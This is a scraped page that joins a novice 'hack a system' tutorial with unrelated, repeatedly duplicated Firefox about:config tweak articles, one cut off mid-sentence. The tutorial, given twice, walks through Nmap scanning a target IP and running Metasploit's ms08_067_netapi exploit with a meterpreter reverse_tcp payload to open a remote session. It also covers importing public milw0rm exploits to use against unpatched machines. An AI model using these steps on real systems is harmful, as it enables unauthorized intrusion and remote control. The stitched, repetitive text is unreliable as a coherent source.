Hack A System using Windows:

Hack A System using Windows:

Hack A System using Windows:
–
Finding Your Target: (IP)
__
Test this on a friends computer so you can understand
how it works.
Your Friend: Clicks START MENU then RUN then types
ipconfig.
If this does not work, they can also do this by clicking
the START MENU, then PROGRAMS then ACCESSORIES then
clicking COMMAND PROMPT. Type ipconfig and press enter.
Where it says “Ipv4 Address” there are four sets of
numbers. This is your friends IP ADDRESS.
Write it down, and keep it for later in this tutorial.
Or you can brouse this furum on other ways to get an ip
For exaple: IPget (MSN Plugin)
Scanning for an Open Port
__
Download and Install Nmap:
First, you will need to download Nmap.
Nmap is FREE and available here: http://www.insecure.org
Get the correct version for your operating system.
(Latest Stable Release, Self-Installer)
–
Run Zenmap
(The GUI *non black and white screen* version)
In the “Target” field, type your friend’s IP ADDRESS.
Once it is entered, click SCAN.
Allow the scan to complete, and save the information
Nmap found about your friend’s open ports for later
on in the tutorial.
Explanation
__
Your computer and your friends computer had a convorsation:
Your Computer Said: Can I Come In?
Your Friends Computer Replied: Maybe.
Your Computer Said: Where’s your front door?
Your Friends Computer Replied: Here’s a map of my doors,
windows, and chimney.
Now you are taking this map, and finding out how to open
his doors, windows, and chimney.
–
Downloading Hack Tools:
__
In this part, you will need two items.
VMWare Player (Program)
http://downloads.vmware.com/d/info/deskt…player/3_0
Scroll Down to “Product Downloads” then “Product” then click “VMWare Player 3.0.1″
Find the one for your operating system. Download.. and Install.
Linux Backtrack 4 Vmware Image (OS)
Download Link: http://www.backtrack-linux.org/bt4-final-vm.zip.torrent
Linux Backtrack 4 can be downloaded with uTorrent (http://www.utorrent.com)
When Linux Backtrack 4 is done downloading, open it.
(If it won’t open, try downloading and installing WinRAR first)
*WinRAR is found at http://www.rarsoft.com*
You will select BT4-Beta, click EXTRACT, and put them in your VMWare
Folder called “Virtual Machines.”
Setting Up Tools:
__
Open VMWare Player, and click “OPEN.”
Find your “Virtual Machines” Folder, and go into BT4-Beta.
Double Click BT4-Beta.vmx
Allow it to Boot up (load files).
When it says “bt login” type root (then press enter)
When it says “password” type toor (then press enter)
It will say “root@bt:~#” type startx (then press enter)
To EXIT, click the “Computer Monitor Icon” at the bottom left corner,
and type poweroff (then press enter)
Explanation:
__
At this point, you have access to many hacking tools.
The Linux Backtrack OS has TONS of tools to use.
If you want to learn about them, just visit their forum
at remote-exploit.org
–
In Backtrack:
__
Click the “Computer Monitor Icon” at the bottom left corner.
In the box, type /etc/init.d/networking start (then press enter)
This allows Backtrack Networking. You need it “on” to hack.
When it is done loading, type ifconfig (then press enter)
If you have an IP address where it says “inet addr” then it
is worked. If not, check out their forum to troubleshoot.
Metasploit Attack Method:
__
In the “Computer Monitor Icon Box” you opened, type
cd /pentest/exploits/framework3 (then press enter)
*If it is a different version of Metasploit, you might use a different command*
*If so, visit the remote-exploit.org forum and look around*
Type ls (then press enter)
Type ./msfconsole (then press enter)
You will see a “metasploit logo” and where it used to say “root@bt:”
now says “msf >”
Type show exploits (then press enter)
This is a list of all of the different attacks you can use with Metasploit.
–
Exploit meets Vulnerability
__
Do you remember when your friends computer told you how to get inside? (The Nmap
report) Get your map and look at it closely.
You want to match the name of “one way in” to something
listed on the “different attack list” that Metasploit gave you.
Suppose you see “ms08_067_netapi” on both, then this is what you want to use.
(We are using ms08_067_netapi as an example)
Type: use (copy and paste exploit name)
So it will look like this: use windows/smb/ms08_067_netapi (then press enter)
Now type show options (then press enter)
Type set RHOST (Friends IP Address)
If your friends IP Address is 44.44.444.444, it will look like this
set RHOST 44.44.444.444 (then press enter)
Type set payload windows/meterpreter/reverse_tcp (press enter)
*Payloads are “what happens when their computer is exploited”
*There are other things you can choose from, but learn about those later on.
Type show options (then press enter)
Now, you will find your own IP Address. (Do this by clicking your START MENU, and
choosing PROGRAMS, ACCESSORIES, then COMMAND PROMPT) in the box type ipconfig
(then press enter)
As an example, we will say your IP Address is 55.55.555.555
Type set LHOST 55.55.555.555
Ready? Set? Type exploit (then press enter)
As an example, we used 44.44.444.444 for your friends IP Address, and
55.55.555.555 as your IP Address. So, if it says
“Meterpreter Session 1 opened (44.44.444.444 -> 55.55.555.555)” you
succeeded.
–
NEW Exploits and Attacks:
__
Hackers around the world find new ways to “get inside” computers every single day.
Metasploit has lots of attacks, but how can you use a NEW exploit?
The NEWEST exploits can be found two ways.
#1. You know how to take a REAL program (like Mozilla Firefox, etc) and find weaknesses in it.
You find an exploit that has not been discovered yet.
#2. Your best friend finds one and lets you have it (incredibly unlikely)
If you do not have either of these resources, you must depend on “public” exploits.
Some hackers search for weaknesses in programs and report them right away to websites.
Let’s say “Hacker” found a weakness in Firefox. Mozilla will make a “fix” for it, but
the people that have not updated Firefox with the “fix” are still vulnerable.
Beginners usually watch websites like http://www.milw0rm.com (and others) for these “NEW” exploits,
and try to test them against computers that have not been updated yet to gain access.
The question is.. how can you take a vulnerability from a public exploit website like milw0rm.com
and use it with Metasploit?
On the website (milw0rm.com) you will see a “D” column next to every exploit. This allows you to
DOWNLOAD the exploit. Once you have it, you will need to learn a small bit of programming to change
it to an .rb
__
Adding An Exploit File (.rb) to Metasploit:
__
Follow instructions above to start Linux Backtrack 4. Click the “Computer Monitor Icon” at the
bottom left of your screen. In the window, type cd /pentest/exploits/framework3 (then press enter)
Type ls (then press enter)
Type cd lib (then press enter)
Type cd msf (then press enter)
Type cd core (then press enter)
Type cd exploit (then press enter)
Type ls (then press enter)
At this point, we are going to use the “mv” command to move fileformat.rb
Try using mv /home/root/Desktop/fileformat.rb /home/root/pentest/framework3/lib/msf/core/exploit/
(then press enter)
*Might be a different directory, refer to remote-exploit.org forum if it does not work*
There will be a list of files after you press ENTER. Make sure fileformat.rb is there.
Type clear (then press enter)
Type cd .. (then press enter)
At this point, we are going to edit “exploit.rb”
Type nano exploit.rb (then press enter) then hold the DOWN arrow key to the area where it says
# Networks.
Hit the DOWN key a couple more times until you are below all of the “require” lines. Press ENTER.
Type # Fileformat (so it is even with #Networks)
Under it, type require ‘msf/core/exploit/fileformat’ and SAVE IT.
Now we have to move all of the new exploits (in .rb format) into “modules”
Go back to where Metasploit was being used “Computer Monitor Icon”
Type cd ../../../ (then press enter)
Type cd modules (then press enter)
Type ls (then press enter)
Type cd exploits (then press enter)
cd windows (then press enter)
Type mkdir fileformat (then press enter)
Type cd fileformat (then press enter)
Now we’re going to use the GUI (the non-black and white box way)
Open the equivelant of Windows’ “My Computer”
Double click: PENTEST then FRAMEWORK3 then MODULES then EXPLOITS then WINDOWS then FILEFORMAT
Drag all of your .rb format exploits into the folder.
__
Exploit File (.rb) TEST:
__
Go back to Metasploit, and type sudo rm -rf .msf3 (then press enter)
Now close it.
Open the “Computer Monitor Icon” at the bottom left of your screen, and get back into Metasploit.
You should have a higher number of exploits!
Enjoy!

Hack A System using Windows:
–
Finding Your Target: (IP)
__
Test this on a friends computer so you can understand
how it works.
Your Friend: Clicks START MENU then RUN then types
ipconfig.
If this does not work, they can also do this by clicking
the START MENU, then PROGRAMS then ACCESSORIES then
clicking COMMAND PROMPT. Type ipconfig and press enter.
Where it says “Ipv4 Address” there are four sets of
numbers. This is your friends IP ADDRESS.
Write it down, and keep it for later in this tutorial.
Or you can brouse this furum on other ways to get an ip
For exaple: IPget (MSN Plugin)
Scanning for an Open Port
__
Download and Install Nmap:
First, you will need to download Nmap.
Nmap is FREE and available here: http://www.insecure.org
Get the correct version for your operating system.
(Latest Stable Release, Self-Installer)
–
Run Zenmap
(The GUI *non black and white screen* version)
In the “Target” field, type your friend’s IP ADDRESS.
Once it is entered, click SCAN.
Allow the scan to complete, and save the information
Nmap found about your friend’s open ports for later
on in the tutorial.
Explanation
__
Your computer and your friends computer had a convorsation:
Your Computer Said: Can I Come In?
Your Friends Computer Replied: Maybe.
Your Computer Said: Where’s your front door?
Your Friends Computer Replied: Here’s a map of my doors,
windows, and chimney.
Now you are taking this map, and finding out how to open
his doors, windows, and chimney.
–
Downloading Hack Tools:
__
In this part, you will need two items.
VMWare Player (Program)
http://downloads.vmware.com/d/info/deskt…player/3_0
Scroll Down to “Product Downloads” then “Product” then click “VMWare Player 3.0.1″
Find the one for your operating system. Download.. and Install.
Linux Backtrack 4 Vmware Image (OS)
Download Link: http://www.backtrack-linux.org/bt4-final-vm.zip.torrent
Linux Backtrack 4 can be downloaded with uTorrent (http://www.utorrent.com)
When Linux Backtrack 4 is done downloading, open it.
(If it won’t open, try downloading and installing WinRAR first)
*WinRAR is found at http://www.rarsoft.com*
You will select BT4-Beta, click EXTRACT, and put them in your VMWare
Folder called “Virtual Machines.”
Setting Up Tools:
__
Open VMWare Player, and click “OPEN.”
Find your “Virtual Machines” Folder, and go into BT4-Beta.
Double Click BT4-Beta.vmx
Allow it to Boot up (load files).
When it says “bt login” type root (then press enter)
When it says “password” type toor (then press enter)
It will say “root@bt:~#” type startx (then press enter)
To EXIT, click the “Computer Monitor Icon” at the bottom left corner,
and type poweroff (then press enter)
Explanation:
__
At this point, you have access to many hacking tools.
The Linux Backtrack OS has TONS of tools to use.
If you want to learn about them, just visit their forum
at remote-exploit.org
–
In Backtrack:
__
Click the “Computer Monitor Icon” at the bottom left corner.
In the box, type /etc/init.d/networking start (then press enter)
This allows Backtrack Networking. You need it “on” to hack.
When it is done loading, type ifconfig (then press enter)
If you have an IP address where it says “inet addr” then it
is worked. If not, check out their forum to troubleshoot.
Metasploit Attack Method:
__
In the “Computer Monitor Icon Box” you opened, type
cd /pentest/exploits/framework3 (then press enter)
*If it is a different version of Metasploit, you might use a different command*
*If so, visit the remote-exploit.org forum and look around*
Type ls (then press enter)
Type ./msfconsole (then press enter)
You will see a “metasploit logo” and where it used to say “root@bt:”
now says “msf >”
Type show exploits (then press enter)
This is a list of all of the different attacks you can use with Metasploit.
–
Exploit meets Vulnerability
__
Do you remember when your friends computer told you how to get inside? (The Nmap
report) Get your map and look at it closely.
You want to match the name of “one way in” to something
listed on the “different attack list” that Metasploit gave you.
Suppose you see “ms08_067_netapi” on both, then this is what you want to use.
(We are using ms08_067_netapi as an example)
Type: use (copy and paste exploit name)
So it will look like this: use windows/smb/ms08_067_netapi (then press enter)
Now type show options (then press enter)
Type set RHOST (Friends IP Address)
If your friends IP Address is 44.44.444.444, it will look like this
set RHOST 44.44.444.444 (then press enter)
Type set payload windows/meterpreter/reverse_tcp (press enter)
*Payloads are “what happens when their computer is exploited”
*There are other things you can choose from, but learn about those later on.
Type show options (then press enter)
Now, you will find your own IP Address. (Do this by clicking your START MENU, and
choosing PROGRAMS, ACCESSORIES, then COMMAND PROMPT) in the box type ipconfig
(then press enter)
As an example, we will say your IP Address is 55.55.555.555
Type set LHOST 55.55.555.555
Ready? Set? Type exploit (then press enter)
As an example, we used 44.44.444.444 for your friends IP Address, and
55.55.555.555 as your IP Address. So, if it says
“Meterpreter Session 1 opened (44.44.444.444 -> 55.55.555.555)” you
succeeded.
–
NEW Exploits and Attacks:
__
Hackers around the world find new ways to “get inside” computers every single day.
Metasploit has lots of attacks, but how can you use a NEW exploit?
The NEWEST exploits can be found two ways.
#1. You know how to take a REAL program (like Mozilla Firefox, etc) and find weaknesses in it.
You find an exploit that has not been discovered yet.
#2. Your best friend finds one and lets you have it (incredibly unlikely)
If you do not have either of these resources, you must depend on “public” exploits.
Some hackers search for weaknesses in programs and report them right away to websites.
Let’s say “Hacker” found a weakness in Firefox. Mozilla will make a “fix” for it, but
the people that have not updated Firefox with the “fix” are still vulnerable.
Beginners usually watch websites like http://www.milw0rm.com (and others) for these “NEW” exploits,
and try to test them against computers that have not been updated yet to gain access.
The question is.. how can you take a vulnerability from a public exploit website like milw0rm.com
and use it with Metasploit?
On the website (milw0rm.com) you will see a “D” column next to every exploit. This allows you to
DOWNLOAD the exploit. Once you have it, you will need to learn a small bit of programming to change
it to an .rb
__
Adding An Exploit File (.rb) to Metasploit:
__
Follow instructions above to start Linux Backtrack 4. Click the “Computer Monitor Icon” at the
bottom left of your screen. In the window, type cd /pentest/exploits/framework3 (then press enter)
Type ls (then press enter)
Type cd lib (then press enter)
Type cd msf (then press enter)
Type cd core (then press enter)
Type cd exploit (then press enter)
Type ls (then press enter)
At this point, we are going to use the “mv” command to move fileformat.rb
Try using mv /home/root/Desktop/fileformat.rb /home/root/pentest/framework3/lib/msf/core/exploit/
(then press enter)
*Might be a different directory, refer to remote-exploit.org forum if it does not work*
There will be a list of files after you press ENTER. Make sure fileformat.rb is there.
Type clear (then press enter)
Type cd .. (then press enter)
At this point, we are going to edit “exploit.rb”
Type nano exploit.rb (then press enter) then hold the DOWN arrow key to the area where it says
# Networks.
Hit the DOWN key a couple more times until you are below all of the “require” lines. Press ENTER.
Type # Fileformat (so it is even with #Networks)
Under it, type require ‘msf/core/exploit/fileformat’ and SAVE IT.
Now we have to move all of the new exploits (in .rb format) into “modules”
Go back to where Metasploit was being used “Computer Monitor Icon”
Type cd ../../../ (then press enter)
Type cd modules (then press enter)
Type ls (then press enter)
Type cd exploits (then press enter)
cd windows (then press enter)
Type mkdir fileformat (then press enter)
Type cd fileformat (then press enter)
Now we’re going to use the GUI (the non-black and white box way)
Open the equivelant of Windows’ “My Computer”
Double click: PENTEST then FRAMEWORK3 then MODULES then EXPLOITS then WINDOWS then FILEFORMAT
Drag all of your .rb format exploits into the folder.
__
Exploit File (.rb) TEST:
__
Go back to Metasploit, and type sudo rm -rf .msf3 (then press enter)
Now close it.
Open the “Computer Monitor Icon” at the bottom left of your screen, and get back into Metasploit.
You should have a higher number of exploits!
Enjoy!

Make the user interface behave

Make the user interface behave

Make the user interface behave

Another big reason people hack Firefox's settings is to modify the user interface -- either to make it a little easier to do something, or to revert to a behavior that was prevalent in Version 1.x but changed in 2.0.
Get case-sensitive, in-page searches
The integer preference accessibility.typeaheadfind.casesensitive controls how Firefox's "Find as You Type" feature behaves. The default is 0 for case-insensitive searches; set it to 1 for case-sensitive matching.
Control address bar searches
You may have noticed that if you type something into Firefox's address bar that's not an address (a "keyword"), Firefox typically passes it on to Google as an "I'm Feeling Lucky" search term. The exact search engine string to use is defined in the string preference keyword.URL; if you want to change it to something else, you can simply edit this string.
For instance, to make Microsoft's Live.com the default keyword search, set this string to
http://search.live.com/results.aspx?q=
For a Yahoo search, it would be
http://search.yahoo.com/search?p=
If you want to restore the default search, use
http://www.google.com/search?ie=UTF-8&oe=
UTF-8&sourceid=navclient&gfns=1&q=
Finally, if you want to turn this address-bar keyword functionality off altogether, set the Boolean preference keyword.enabled to false.
Note that with Google, the more generic the keyword, the less likely it is to be used as an "I'm Feeling Lucky" search -- although what constitutes "generic" isn't always clear. For instance, typing "clean" into the address bar returns a generic Google search page, but "sideways" takes me to the Internet Movie Database entry for the movie of that name (the "I'm Feeling Lucky" result). Your mileage will almost certainly vary.
Select just a word
The Boolean preference layout.word_select.eat_space_to_next_word governs one of Firefox's tiny, but for me incredibly annoying, little behaviors. When you double-click on a word in a Web page to select it, Firefox automatically includes the space after the word. Most of the time I don't want that; I just want the selection to stop at the end of the word. Setting this to false will defeat that behavior.
Select a word and its punctuation
Somewhat contrarily, if you double-click a word that's next to any kind of punctuation mark, Firefox defaults to selecting only the word itself, not its adjacent punctuation. Set the Boolean preference layout.word_select.stop_at_punctuation to false to select the word and its adjacent punctuation.
Get Alt-hotkey shortcuts back
One minor change in Firefox 2 was the way in which form elements on a Web page had hotkey bindings assigned to them. In Firefox 1.x, when a Web page assigned a hotkey to a form element, you pressed Alt-hotkey to access it. In Version 2.x, this was changed to Alt-Shift-hotkey. To revert to the original 1.x behavior, set the integer preference ui.key.contentAccess to 4. This is useful if you have, for instance, a Web-based interface you spend a lot of time in, and use Alt-key bindings to do things quickly in that particular page.

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Note that one possible consequence of setting this back to the old behavior is that Alt-key bindings on a Web page can now override the default key sequences for the program itself (such as Alt-S for History), but you can always get around this by tapping Alt to activate the menu and then tapping the program hotkey in question. Change scrollbar behavior
By default, clicking in the empty areas of the Firefox window's scrollbar will simply cause the view to move up or down one page. You can change this behavior by creating a Boolean preference called ui.scrollToClick and setting its value to true. Now clicking in a scrollbar will cause the view to jump directly to that point in the page (basically the same as dragging the scrollbar to that position).
Get click-and-hold context menus back (for Macs only)
If you want to restore the classic click-and-hold context-menu behavior on the Macintosh, edit or create the Boolean preference ui.click_hold_context_menus and set it to true.

Make the user interface behave

Another big reason people hack Firefox's settings is to modify the user interface -- either to make it a little easier to do something, or to revert to a behavior that was prevalent in Version 1.x but changed in 2.0.
Get case-sensitive, in-page searches
The integer preference accessibility.typeaheadfind.casesensitive controls how Firefox's "Find as You Type" feature behaves. The default is 0 for case-insensitive searches; set it to 1 for case-sensitive matching.
Control address bar searches
You may have noticed that if you type something into Firefox's address bar that's not an address (a "keyword"), Firefox typically passes it on to Google as an "I'm Feeling Lucky" search term. The exact search engine string to use is defined in the string preference keyword.URL; if you want to change it to something else, you can simply edit this string.
For instance, to make Microsoft's Live.com the default keyword search, set this string to
http://search.live.com/results.aspx?q=
For a Yahoo search, it would be
http://search.yahoo.com/search?p=
If you want to restore the default search, use
http://www.google.com/search?ie=UTF-8&oe=
UTF-8&sourceid=navclient&gfns=1&q=
Finally, if you want to turn this address-bar keyword functionality off altogether, set the Boolean preference keyword.enabled to false.
Note that with Google, the more generic the keyword, the less likely it is to be used as an "I'm Feeling Lucky" search -- although what constitutes "generic" isn't always clear. For instance, typing "clean" into the address bar returns a generic Google search page, but "sideways" takes me to the Internet Movie Database entry for the movie of that name (the "I'm Feeling Lucky" result). Your mileage will almost certainly vary.
Select just a word
The Boolean preference layout.word_select.eat_space_to_next_word governs one of Firefox's tiny, but for me incredibly annoying, little behaviors. When you double-click on a word in a Web page to select it, Firefox automatically includes the space after the word. Most of the time I don't want that; I just want the selection to stop at the end of the word. Setting this to false will defeat that behavior.
Select a word and its punctuation
Somewhat contrarily, if you double-click a word that's next to any kind of punctuation mark, Firefox defaults to selecting only the word itself, not its adjacent punctuation. Set the Boolean preference layout.word_select.stop_at_punctuation to false to select the word and its adjacent punctuation.
Get Alt-hotkey shortcuts back
One minor change in Firefox 2 was the way in which form elements on a Web page had hotkey bindings assigned to them. In Firefox 1.x, when a Web page assigned a hotkey to a form element, you pressed Alt-hotkey to access it. In Version 2.x, this was changed to Alt-Shift-hotkey. To revert to the original 1.x behavior, set the integer preference ui.key.contentAccess to 4. This is useful if you have, for instance, a Web-based interface you spend a lot of time in, and use Alt-key bindings to do things quickly in that particular page.

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Note that one possible consequence of setting this back to the old behavior is that Alt-key bindings on a Web page can now override the default key sequences for the program itself (such as Alt-S for History), but you can always get around this by tapping Alt to activate the menu and then tapping the program hotkey in question. Change scrollbar behavior
By default, clicking in the empty areas of the Firefox window's scrollbar will simply cause the view to move up or down one page. You can change this behavior by creating a Boolean preference called ui.scrollToClick and setting its value to true. Now clicking in a scrollbar will cause the view to jump directly to that point in the page (basically the same as dragging the scrollbar to that position).
Get click-and-hold context menus back (for Macs only)
If you want to restore the classic click-and-hold context-menu behavior on the Macintosh, edit or create the Boolean preference ui.click_hold_context_menus and set it to true.

Have tabbed browsing your way

Right from the start, one of Firefox's strengths has been tabbed browsing. But if the tabs don't behave quite the way you want them to by default, or you hate the way the default behaviors have changed since Firefox 1.x, the following changes will bring them in line.
Corral close buttons
The integer preference browser.tabs.closeButtons controls how the close buttons (the "X" icons) are rendered on tabs:

0: Display a close button only on the currently active tab. This is a nice way to keep from accidentally smacking into a close button for the wrong tab.
(You can press Ctrl-F4 to close only the current tab, but many mouse-centric people never bother to do this.)
1: Display close buttons on all tabs (default).
2: Don't display any close buttons; the only way to close a tab is by pressing Ctrl-F4.
3: Display one close button at the end of the tab bar (Firefox 1.x's default).

A close button on just one tab. (Click for larger view.)

Open search results in a new tab
This one is a favorite of mine. When browser.search.openintab (a Boolean preference) is set to true, any searches launched from the Search tool bar are opened in a new tab instead of overwriting the contents of the current one. I can't tell you the number of times I mistakenly wiped out my current page before I started using this.
Note that if you launch a new browser window with Ctrl-N and perform a search there, you'll see the search results and the default home page for the new browser instance loading in separate tabs.

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Open bookmark groups in new tabs
If you open a group of bookmarks at once, Firefox's default behavior is to replace any existing tabs with the newly opened pages. Set browser.tabs.loadFolderAndReplace (Boolean) to false, and opening groups of bookmarks will append new tabs to the existing window instead of overwriting existing ones.
Squeeze more tabs into the tab bar
The integer preference browser.tabs.tabMinWidth controls how narrow, in pixels, tabs can be shrunk down before scroll arrows appear on the left and right edges of the tab bar.
The default is 100, but you can set this to something smaller so you can fit more tabs in the bar at once. Note, however, that you might find the shortened titles harder to read.

The tab bar before and after reducing the minimum tab width. (Click for larger view.)

In the same vein, the integer preference browser.tabs.tabClipWidth sets the minimum width, in pixels, that a tab must be in order to show a close button. This is 140 by default, so if you set this to something lower, you'll see more tabs with close buttons when the tab bar is heavily populated.

Have tabbed browsing your way

Right from the start, one of Firefox's strengths has been tabbed browsing. But if the tabs don't behave quite the way you want them to by default, or you hate the way the default behaviors have changed since Firefox 1.x, the following changes will bring them in line.
Corral close buttons
The integer preference browser.tabs.closeButtons controls how the close buttons (the "X" icons) are rendered on tabs:

0: Display a close button only on the currently active tab. This is a nice way to keep from accidentally smacking into a close button for the wrong tab.
(You can press Ctrl-F4 to close only the current tab, but many mouse-centric people never bother to do this.)
1: Display close buttons on all tabs (default).
2: Don't display any close buttons; the only way to close a tab is by pressing Ctrl-F4.
3: Display one close button at the end of the tab bar (Firefox 1.x's default).

A close button on just one tab. (Click for larger view.)

Open search results in a new tab
This one is a favorite of mine. When browser.search.openintab (a Boolean preference) is set to true, any searches launched from the Search tool bar are opened in a new tab instead of overwriting the contents of the current one. I can't tell you the number of times I mistakenly wiped out my current page before I started using this.
Note that if you launch a new browser window with Ctrl-N and perform a search there, you'll see the search results and the default home page for the new browser instance loading in separate tabs.

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

Open bookmark groups in new tabs
If you open a group of bookmarks at once, Firefox's default behavior is to replace any existing tabs with the newly opened pages. Set browser.tabs.loadFolderAndReplace (Boolean) to false, and opening groups of bookmarks will append new tabs to the existing window instead of overwriting existing ones.
Squeeze more tabs into the tab bar
The integer preference browser.tabs.tabMinWidth controls how narrow, in pixels, tabs can be shrunk down before scroll arrows appear on the left and right edges of the tab bar.
The default is 100, but you can set this to something smaller so you can fit more tabs in the bar at once. Note, however, that you might find the shortened titles harder to read.

The tab bar before and after reducing the minimum tab width. (Click for larger view.)

In the same vein, the integer preference browser.tabs.tabClipWidth sets the minimum width, in pixels, that a tab must be in order to show a close button. This is 140 by default, so if you set this to something lower, you'll see more tabs with close buttons when the tab bar is heavily populated.

Speed up page display

Speed up page display

Speed up page display

Some of the more recent Firefox customizations I've examined are ways to speed up the rendering of Web pages. The settings to do this are a little arcane and not terribly self-explanatory, but with a little tinkering, you can often get pages to pop up faster and waste less time redrawing themselves.
Start rendering pages faster
Creating an nglayout.initialpaint.delay integer preference lets you control how long Firefox waits before starting to render a page. If this value isn't set, Firefox defaults to 250 milliseconds, or 0.25 of a second. Some people report that setting it to 0 -- i.e., forcing Firefox to begin rendering immediately -- causes almost all pages to show up faster. Values as high as 50 are also pretty snappy.
Reduce the number of reflows
When Firefox is actively loading a page, it periodically reformats or "reflows" the page as it loads, based on what data has been received. Create a content.notify.interval integer preference to control the minimum number of microseconds (millionths of a second) that elapse between reflows. If it's not explicitly set, it defaults to 120000 (0.12 of a second).
Too many reflows may make the browser feel sluggish, so you can increase the interval between reflows by raising this to 500000 (500,000, or 1/2 second) or even to 1000000 (1 million, or 1 second). If you set this value, be sure to also create a Boolean value called content.notify.ontimer and set it to true.

A page "reflowing" while loading in Firefox.

Control Firefox's 'unresponsive' time
When rendering a page, Firefox periodically runs a little faster internally to speed up the rendering process (a method Mozilla calls "tokenizing"), but at the expense of being unresponsive to user input for that length of time. If you want to set the maximum length of time any one of these unresponsive periods can be, create an integer preference called content.max.tokenizing.time.
Set this to a multiple of content.notify.interval's value, or even the same value (but higher is probably better). If you set this to something lower than content.notify.interval, the browser may respond more often to user input while pages are being rendered, but the page itself will render that much more slowly.
If you set a value for content.max.tokenizing.time, you also need to create two more Boolean values -- content.notify.ontimer and content.interrupt.parsing -- and set them both to true.
Control Firefox's 'highly responsive' time
If Firefox is rendering a page and the user performs some kind of command, like scrolling through a still-loading page, Firefox will remain more responsive to user input for a period of time. To control how long this interval is, create an integer preference called content.switch.threshold.

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

This is normally triple the value of content.notify.interval, but I typically set it to be the same as that value. Set it to something very low -- say, 10000 (10,000 microseconds) -- and the browser may not respond as snappily, but it may cause the rendering to complete more quickly. If you haven't already created the Boolean values content.notify.ontimer and content.interrupt.parsing and set them both to true in conjunction with content.max.tokenizing.time, you'll need to do so to make content.switch.threshold work properly.
If you are more inclined to wait for a page to finish loading before attempting to do anything with it (like scroll through it), you can set content.max.tokenizing.time to a higher value and content.switch.threshold to a lower value to allow Firefox to finish rendering a page faster at the expense of processing user commands. On the other hand, if you're the kind of person who likes to scroll through a page and start reading it before it's done loading, you can set content.max.tokenizing.time to a lower value and content.switch.threshold to a higher one, to give you back that much more responsiveness at the cost of page-rendering speed.

Speed up page display

Some of the more recent Firefox customizations I've examined are ways to speed up the rendering of Web pages. The settings to do this are a little arcane and not terribly self-explanatory, but with a little tinkering, you can often get pages to pop up faster and waste less time redrawing themselves.
Start rendering pages faster
Creating an nglayout.initialpaint.delay integer preference lets you control how long Firefox waits before starting to render a page. If this value isn't set, Firefox defaults to 250 milliseconds, or 0.25 of a second. Some people report that setting it to 0 -- i.e., forcing Firefox to begin rendering immediately -- causes almost all pages to show up faster. Values as high as 50 are also pretty snappy.
Reduce the number of reflows
When Firefox is actively loading a page, it periodically reformats or "reflows" the page as it loads, based on what data has been received. Create a content.notify.interval integer preference to control the minimum number of microseconds (millionths of a second) that elapse between reflows. If it's not explicitly set, it defaults to 120000 (0.12 of a second).
Too many reflows may make the browser feel sluggish, so you can increase the interval between reflows by raising this to 500000 (500,000, or 1/2 second) or even to 1000000 (1 million, or 1 second). If you set this value, be sure to also create a Boolean value called content.notify.ontimer and set it to true.

A page "reflowing" while loading in Firefox.

Control Firefox's 'unresponsive' time
When rendering a page, Firefox periodically runs a little faster internally to speed up the rendering process (a method Mozilla calls "tokenizing"), but at the expense of being unresponsive to user input for that length of time. If you want to set the maximum length of time any one of these unresponsive periods can be, create an integer preference called content.max.tokenizing.time.
Set this to a multiple of content.notify.interval's value, or even the same value (but higher is probably better). If you set this to something lower than content.notify.interval, the browser may respond more often to user input while pages are being rendered, but the page itself will render that much more slowly.
If you set a value for content.max.tokenizing.time, you also need to create two more Boolean values -- content.notify.ontimer and content.interrupt.parsing -- and set them both to true.
Control Firefox's 'highly responsive' time
If Firefox is rendering a page and the user performs some kind of command, like scrolling through a still-loading page, Firefox will remain more responsive to user input for a period of time. To control how long this interval is, create an integer preference called content.switch.threshold.

Hacking Firefox The secrets of about:config Before you begin Speed up page display Have tabbed browsing your way Make the user interface behave Hack network connections Stop memory hogging

This is normally triple the value of content.notify.interval, but I typically set it to be the same as that value. Set it to something very low -- say, 10000 (10,000 microseconds) -- and the browser may not respond as snappily, but it may cause the rendering to complete more quickly. If you haven't already created the Boolean values content.notify.ontimer and content.interrupt.parsing and set them both to true in conjunction with content.max.tokenizing.time, you'll need to do so to make content.switch.threshold work properly.
If you are more inclined to wait for a page to finish loading before attempting to do anything with it (like scroll through it), you can set content.max.tokenizing.time to a higher value and content.switch.threshold to a lower value to allow Firefox to finish rendering a page faster at the expense of processing user commands. On the other hand, if you're the kind of person who likes to scroll through a page and start reading it before it's done loading, you can set content.max.tokenizing.time to a lower value and content.switch.threshold to a higher one, to give you back that much more responsiveness at the cost of page-rendering speed.

Speed up page display Some of the more recent Firefox customizations I've examined are ways to speed up the rendering of Web pages. The settings to do this are a little arcane and not terribly self-explanatory, but with a little tinkering, you can often get pages to pop up faster and waste less time redrawing themselves. Start rendering pages faster Creating an nglayout.initialpaint.delay integer preference lets you control how long Firefox waits before starting to render a page. If this value isn't set, Firefox defaults to 250 milliseconds, or 0.25 of a second. Some people report that setting it to 0 -- i.e., forcing Firefox to begin rendering immediately -- causes almost all pages to show up faster. Values as high as 50 are also pretty snappy. Reduce the number of reflows When Firefox is actively loading a page, it periodically reformats or "reflows" the page as it loads, based on what data has been received. Create a content.notify.interval integer preference to control the minimum number of microseconds (millionths of a second) that elapse between reflows. If it's not explicitly set, it defaults to 120000 (0.12 of a second). Too many reflows may make the browser feel sluggish, so you can increase the interval between reflows by raising this to 500000 (500,000, or 1/2 second) or even to 1000000 (1 million, or 1 second). If you set this value, be sure to also create a Boolean value called content.notify.ontimer and set it to true. A page A page "reflowing" while loading in Firefox. Control Firefox's 'unresponsive' time When rendering a page, Firefox periodically runs a little faster internally to speed up the rendering process (a method Mozilla calls "tokenizing"), but at the expense of being unresponsive to user input for that length of time. If you want to set the maximum length of time any one of these unresponsive periods can be, create an integer preference called content.max.tokenizing.time. Set this to a multiple of content.notify.interval's value, or even the same value (but higher is probably better). If you set this to something lower than content.notify.interval, the browser may respond more often to user input while pages are being rendered, but the page itself will render that much more slowly. If you set a value for content.max.tokenizing.time, you also need to create two more Boolean values -- content.notify.ontimer and content.interrupt.parsing -- and set them both to true. Control Firefox's 'highly responsive' time If Firefox is rendering a page and the user performs some kind of command, like scrolling through a 